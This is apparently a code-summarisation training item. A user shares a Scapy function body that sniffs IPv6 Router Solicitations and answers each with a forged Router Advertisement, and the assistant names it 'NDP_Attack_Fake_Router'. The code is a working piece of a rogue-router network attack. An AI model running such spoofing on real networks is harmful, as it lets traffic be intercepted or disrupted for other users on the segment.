human
I wrote the below code

    def is_request(req, mac_src_filter, ip_src_filter):
        '\n                                Check    if    packet    req    is    a    request\n                                '
        if (not ((Ether in req) and (IPv6 in req) and (ICMPv6ND_RS in req))):
            return 0
        mac_src = req[Ether].src
        if (mac_src_filter and (mac_src != mac_src_filter)):
            return 0
        ip_src = req[IPv6].src
        if (ip_src_filter and (ip_src != ip_src_filter)):
            return 0
        return 1
    def ra_reply_callback(req, iface):
        '\n                                Callback    that    sends    an    RA    in    reply    to    an    RS\n                                '
        src = req[IPv6].src
        sendp(ra, iface=iface, verbose=0)
        print(('Fake    RA    sent    in    response    to    RS    from    %s' % src))
    if (not iface):
        iface = conf.iface
    sniff_filter = 'icmp6'
    sniff(store=0, filter=sniff_filter, lfilter=(lambda x: is_request(x, mac_src_filter, ip_src_filter)), prn=(lambda x: ra_reply_callback(x, iface)), iface=iface)

What's a good function header?

Here's a good function header?
assistant
#Here's a good function header.

def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None):